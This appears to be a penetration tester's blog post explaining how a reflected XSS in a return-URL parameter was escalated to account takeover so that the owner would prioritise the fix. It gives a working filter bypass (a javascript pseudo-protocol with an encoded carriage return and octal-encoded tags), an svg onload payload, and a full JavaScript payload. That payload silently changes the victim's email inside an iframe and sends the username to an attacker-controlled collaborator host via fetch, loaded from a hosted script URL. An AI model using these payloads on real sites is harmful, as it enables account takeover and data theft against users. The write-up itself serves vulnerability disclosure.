XSS - Showing Impact

Introduction 

Sensitive info redacted

Recently, I tried to convince an application owner that they should prioritise an XSS vulnerability because it was on a critical, public facing application with a large user base.

The argument was that it was a medium vulnerability, cookies were adequately protected and according to the companies SLAs, it had to be actioned within 30 days. I considered the potential impact of this vulnerability to be a lot higher. So, I went to work.

After a little googling I came across a great post by Hakluke which detailed methods in which you can elevate the impact of XSS vulnerabilities and consequently change this medium finding into a critical.

The initial vulnerability walk-through 

The reflected XSS involved a return URL parameter which was not sufficiently sanitising user input.

Initially, I found that I could bypass sanitisation by injecting a JavaScript pseudo-protocol in the return URL parameter which included an encoded return character (%0D):

https://joemardell.com/products?Code=12345&returnUrl=java%0Dscript:

All tags were sanitised, but by Octal encoding the below, I was able to bypass this:

<svg onload=alert(document.cookie)>

Octal encoded:

\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\51\76

The resulting malicious URL caused the all too familiar pop-up. 

https://joemardell.com/products?Code=12345&returnUrl=java%0Dscript:%27\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\51\76%27

However, the cookies contained were not session cookies. They were protected with the HttpOnly attribute. Therefore these could not be used to take over a user's account, but this proved the application to be vulnerable to XSS.

Showing impact

In order to show impact, I wrote a JavaScript payload which targeted the email change functionality within the application. A password reset required the username and email address associated with the account. So by changing the user's email and sending their username to my Burp collaborator, I was able to successfully reset user passwords and takeover their account.

The script can be viewed on my GitHub, and I have included a copy below:

document.addEventListener("DOMContentLoaded", function() {

    buildFrame();

})

function buildFrame() {

    let frame=document.createElement("iframe")

    frame.src="<TARGET-URL (eg https://joemardell.com/change-email)>"

    document.body.append(frame)

    setTimeout(function(){

        frame.contentDocument.getElementById("EmailAddress").value="<YOUR-EMAIL>"

        frame.contentDocument.getElementById("EmailAddressConfirm").value="<YOUR-EMAIL>"

        frame.contentDocument.querySelector("<TARGET-ELEMENTID/CLASS-FOR-BUTTON>").click()

    }, 2000)

    setTimeout(function(){

        let userName=frame.contentDocument.querySelector("<TARGET-ELEMENTID/CLASS-FOR-USERNAME>").textContent

        fetch('<BURP-COLLABORATOR>/?x='+userName)

    }, 5000)

}

I then had to host the JS script and modify the malicious URL to call the payload. This required me to Octal encode the following:

<script src="https://cdn.jsdelivr.net/gh/JoeMardell/XSS-Payloads-MediumToCritical@main/iframe-payload.js”></script>

The resulting malicious URL:

https://joemardell.com/products?Code=12345&returnUrl=java%0Dscript:%27\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\163\72\57\57\143\144\156\56\152\163\144\145\154\151\166\162\56\156\145\164\57\147\150\57\112\157\145\115\141\162\144\145\154\154\57\130\123\123\55\120\141\171\154\157\141\144\163\55\115\145\144\151\165\155\124\157\103\162\151\164\151\143\141\154\100\155\141\151\156\57\151\146\162\141\155\145\55\160\141\171\154\157\141\144\56\152\163\342\200\235\76\74\57\163\143\162\151\160\164\76%27

Once an authenticated user clicked my malicious link, I could request a password reset using the username received in Burp collaborator and the email address that was set on the user's account using my script.

By showing impact through escalating the XSS to an account takeover, it was considered critical and patched 2 days later.

Conclusion

This is a great example of how showing impact makes a huge difference to customers and results in the appropriate level of focus on vulnerabilities that can have a serious impact on businesses and their customers.